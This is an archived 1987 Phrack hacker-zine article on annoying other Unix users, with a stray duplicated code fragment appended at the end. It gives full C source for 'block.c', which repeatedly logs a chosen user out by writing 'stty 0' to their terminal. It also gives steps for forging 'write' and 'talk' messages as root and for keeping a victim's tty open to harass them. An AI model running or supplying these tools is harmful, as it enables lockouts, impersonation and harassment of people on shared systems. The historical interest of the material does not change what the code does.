Hacker Chronicles 1/HACKER1.ISO/phrk2/unix.p15

Text File | 1992-09-26 | 10.1 KB | 301 lines

                ===== Phrack Magazine presents Phrack 15 =====

                         ===== File 2 of 10 =====






I thought I had written everything there is to write about the
Unix operating system until I was recently asked to put out yet
another file... so I said "I'll try, but don't publish my file
along with an article by The Radical Rocker this time!"  These
demands having been met, I booted up the PC and threw together...


            --- ---- ---- ------ ------ -- -- ---- -----
          % Yet Even More Stupid Things to Do With Unix! $
            --- ---- ---- ------ ------ -- -- ---- -----
                       By Shooting Shark.
                     Submitted 26 August '87



These two topics are methods of annoying other users of the
system and generally being a pest.  But would you want to see a
file on *constructive* things to do with Unix?  Didn't think
so...


--  ------- ----- --- --- ------
1.  Keeping Users Off The System
--  ------- ----- --- --- ------

Now, we all know by now how to log users off (one way is to
redirect an 'stty 0' command to their tty) but unless you have
root privs, this will not work when a user has set 'mesg n' and
prevented other users from writing to their terminal.  But even
users who have a 'mesg n' command in their .login (or .profile or
.cshrc) file still have a window of vulnerability, the time
between login and the locking of their terminal.  I designed the
following program, block.c, to take advantage of this fact.

To get this source running on your favorite Unix system, upload
it, call it 'block.c', and type the following at the % or $
prompt:

cc -o block block.c

once you've compiled it successfully, it is invoked like so:

block username [&]

The & is optional and recommended - it runs the program in the
background, thus letting you do other things while it's at work.

If the user specified is logged in at present, it immediately
logs them out (if possible) and waits for them to log in.  If
they aren't logged in, it starts waiting for them.  If the user
is presently logged in but has their messages off, you'll have to
wait until they've logged out to start the thing going.

Block is essentially an endless loop : it keeps checking for the
occurence of the username in /etc/utmp.  When it finds it, it
immediately logs them out and continues.  If for some reason the
logout attempt fails, the program aborts.  Normally this won't
happen - the program is very quick when run unmodified.  However,
to get such performance, it runs in a very tight loop and will
eat up a lot of CPU time.  Notice that near the end of the
program there is the line:

/*sleep(SLEEP)   */

the /* and */ are comment delimiters - right now the line is
commented out.  If you remove the comments and re-compile the
program, it will then 'go to sleep' for the number of seconds
defined in SLEEP (default is 5) at the end of every loop.  This
will save the system load but will slightly decrease the odds of
catching the user during their 'window of vulnerability.'

If you have a chance to run this program at a computer lab at a
school or somewhere similar, run this program on a friend (or an
enemy) and watch the reaction on their face when they repeatedly
try to log in and are logged out before they can do *anything*.
It is quite humorous.  This program is also quite nasty and can
make you a lot of enemies!

caveat #1:  note that if you run the program on yourself, you
will be logged out, the program will continue to run (depending
on the shell you're under) and you'll have locked yourself out of
the system - so don't do this!

caveat #2:  I wrote this under OSx version 4.0, which is a
licensed version of Unix which implements 4.3bsd and AT&T sysV.
No guarantees that it will work on your system.

caveat #3:  If you run this program in background, don't forget
to kill it when you're done with it!  (when you invoke it with
'&', the shell will give you a job number, such as '[2] 90125'.
If you want to kill it later in the same login session, type
'kill %2'.  If you log in later and want to kill it, type 'kill
90125'.  Just read the man page on the kill command if you need
any help...

----- cut here -----

/* block.c -- prevent a user from logging in
 * by Shooting Shark
 * usage : block username [&]
 * I suggest you run this in background.
 */

#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>

#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"

main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];

if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}


for (;;) {

if ((fp = open(UTMP,0)) == -1) {
printf("fatal error!  cannot open %s.\n",UTMP);
exit(-1);
}


while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}

} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);

/*sleep(SLEEP);  */

} /* for */





}

----- cut here -----


--  ------------- ----- ----- ---- ------  --- ------
2.  Impersonating other users with 'write' and 'talk'
--  ------------- ----- ----- ---- ------  --- ------

This next trick wasn't exactly a work of stupefying genius, but
is a little trick (that anybody can do) that I sometimes use to
amuse myself and, as with the above, annoy the hell out of my
friends and enemies.

Nearly every Unix system has the 'write' program, for conversing
with other logged-in users.  As a quick summary:

If you see that user 'clara' is logged in with the 'who' or 'w'
command or whatever, and you wish to talk to her for some reason
or another, you'd type 'write clara'.  Clara then would see on
her screen something like this (given that you are username
'shark'):


[3 ^G's] Message from shark on ttyi13 at 23:14 ...

You then type away at her, and whatever you type is sent to her
terminal line-by-line.  If she wanted to make it a conversation
rather than a monologue, she'd type 'write shark,' you'd get a
message similar to the above on your terminal, and the two of you
would type away at each other to your little heart's content.  If
either one of you wanted to end the conversation, you would type
a ^D.  They would then see the characters 'EOF' on their screen,
but they'd still be 'write'ing to you until they typed a ^D as
well.

Now, if you're on a bigger installation you'll probably have some
sort of full-screen windowing chat program like 'talk'.  My
version of talk sends the following message:

Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with:  talk shark@tibsys

Anyway, here's where the fun part begins:  It's quite easy to put
a sample 'write' or 'talk' message into a file and then edit so
that the 'from' is a different person, and the tty is listed
differently.  If you see that your dorky friend roger is on
ttyi10 and the root also happens to be logged on on ttyi01, make
the file look something like this:

[3 control-G's] Message from root on ttyi01 at [the current time]

wackawackawackawackawacka!!!

[or a similarly confusing or rude message...]

EOF

Then, send this file to roger's terminal with:

cat filename > /dev/ttyi10

He'll get the message on his terminal and wonder what the hell
the superuser is talking about.  He might even 'write' back to
the superuser with the intent of asking 'what the hell are you
talking about?'.  For maximum effectiveness, *simultaneously*
send a message to root 'from' roger at the appropriate terminal
with an equally strange message - they'll then engage in a
conversation that will go something like "what did you mean by
that?"  "what do you mean, what do I mean?  What did *you* mean
by that?" etc.  A splendid time is guaranteed for all!  Note that
you don't have to make 'root' the perpetrator of the gag, any two
currently logged-in users who have their terminals open for
messages can join in on the fun.

Similarly, you can fake a few 'talk' pages from/to two
people...they will then probably start talking...although the
conversation will be along the lines of "what do you want?"  "you
tell me."  "you paged me, you tell *me." etcetera, while you
laugh yourself silly or something like that.

A variation on the theme:  As I said, when using 'write' you type
a ^D to end the conversation, and the person you're typing at
sees an 'EOF' on their screen.  But you could also just *type*
'EOF', and they'd think you've quit...but you still have an open
line to their terminal.  Even if they later turn messages off,
you still have the ability to write to their terminal.  Keeping
this fact in mind, anybody who knows what they're doing can write
a program similar to my 'block' program above that doesn't log a
user out when they appear on the system, but opens their tty as a
device and keeps the file handle in memory so you can redirect to
their terminal - to write rude messages or to log them out or
whatever - at any time, until they log out.

As I said, there was no great amount of genious in the above
discourse, but it's a pastime I enjoy occasionally...

-- Shooting Shark


"the first fact to face is that unix was not developed with
security, in any realistic sense, in mind..."

-- Dennis M. Ritchie

"Oryan QUEST couldn't hack his way out of a UNIX system, let
alone into one."

-- Tharrys Ridenow
f("fatal error!  cannot open %s.\n",UTMP);
exit(-1);
}


while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name
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